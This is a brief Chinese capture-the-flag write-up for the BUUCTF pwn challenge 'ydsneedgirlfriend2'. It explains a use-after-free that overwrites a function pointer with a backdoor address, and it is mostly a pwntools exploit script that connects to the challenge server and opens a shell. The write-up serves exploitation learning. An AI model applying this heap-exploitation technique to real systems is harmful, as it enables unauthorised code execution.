[BUUCTF-pwn]——[BJDCTF 2nd]ydsneedgirlfriend2

[BUUCTF-pwn]——[BJDCTF 2nd]ydsneedgirlfriend2

• 题目地址：https://buuoj.cn/challenges#[BJDCTF%202nd]ydsneedgirlfriend2

checksec看下

在IDA中 look look 看看

思路

首先，利用add申请一块内存空间，并且将girlfriends[0][1]， 指向print_girlfriend_name函数。将空间free之后，重新申请空间，仍是这块空间（堆的性质），这时将girlfriends[0][1]覆盖为backdoor函数地址。执行show，也就执行了backdoor函数

exploit

from pwn import *
p = remote('node3.buuoj.cn',26631)
def add(size,name):
    p.recvuntil('Please input the length of her name:\n')
    p.sendline(str(size))
    p.recvuntil('Please tell me her name:\n')
    p.sendline(name)

def delete(index):
    p.recvuntil('Index :')
    p.sendline(str(index))
def show(idx):
    p.sendlineafter('Index :',str(idx))
backdoor = 0x400d86
p.sendlineafter("u choice :\n","1")
add(0x10,'0')
p.sendlineafter("u choice :\n","2")
delete(0)
payload = p64(0) + p64(backdoor)
p.sendlineafter("u choice :\n","1")
add(0x10,payload)
p.sendlineafter("u choice :\n","3")
show(0)
p.interactive()